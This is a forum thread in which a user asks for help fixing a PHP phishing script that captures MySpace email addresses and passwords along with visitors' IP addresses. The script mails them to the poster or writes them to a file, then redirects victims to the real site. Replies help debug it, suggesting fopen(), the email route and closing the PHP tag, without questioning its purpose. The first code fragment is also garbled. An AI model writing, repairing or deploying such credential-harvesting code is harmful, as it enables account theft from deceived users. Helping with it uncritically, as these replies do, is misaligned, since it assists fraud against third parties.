-
php whats wrong here
can anyone tell me whats wrong with the following file ?
<?php
if (isset($_POST['email']) && (isset($_POST['password']))) {
$email = trim(strip_tags($_POST['email']));
$password = trim(strip_tags($_POST['password']));
";
fwrite($******, strip_tags(stripslashes($text)));
fclose($******);
echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';
}
<?php
if (isset($_POST['email']) && (isset($_POST['password']))) {
$email = trim(strip_tags($_POST['email']));
$password = trim(strip_tags($_POST['password']));
$IP = $_SERVER['REMOTE_ADDR'];
$to = '(my email address)';
$subject = 'Myspace Login';
$message = "$email - $password - $IP";
$headers = 'From: New Myspace Login' . "\r\n" .
'Reply-To: Login' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';
}
?>
-
What errors are you getting? If you are hosting on a free host and are getting mailing errors, that means the sendmail function is blocked.
-
error
it just wont send the info to the file on the webhost ,,, i dont get any errors
-
SMTP must be blocked on your host.
-
-
Wierd, I didn't notice he had two starting tags till now :p
-
closing tag
how is the first tag not closed the site loads the php page but doest not post the user name and id on the text file I created... very confusing I have the text file set to 777 which allows write function but will not write for some reason
-
I get the feeling you didn't write this code.
First of all, what value are you assigning to the $text variable that you are writing to the file? Second, you didn't use fopen() to even open a file, how are you going to write things to a unopened file?
-
text file
Your absolutely right I didnt write the file but have researched how php works. do I () give the comman in the same file or after it is closed do I open another giving the command to open and write to the file I have hosted.
-
You'd use fopen() to open the file in the same PHP file that you'll be writing contents to the file in.
-
for example
fopen (anyfile.txt)..... ?
then how is the info written to that file or is it easier to send it to an email address , the server does support mail.
-
In that case, email is easier, just send it through email.
-
there is where my problem lies .. to me it looks like everything is correct but it wont send the mail
-
[url]http://www.w*schools.com/php/default.asp[/url]
Read up a bit of PHP (specifically the E-mail section) here.
-
[url]www.php.net/fopen[/url]
This is the manual for the fopen function. It should explain everything.
As for email, that would most likely be disabled on a crappy free-hosting account.
Also, have you closed the first PHP opening tag yet?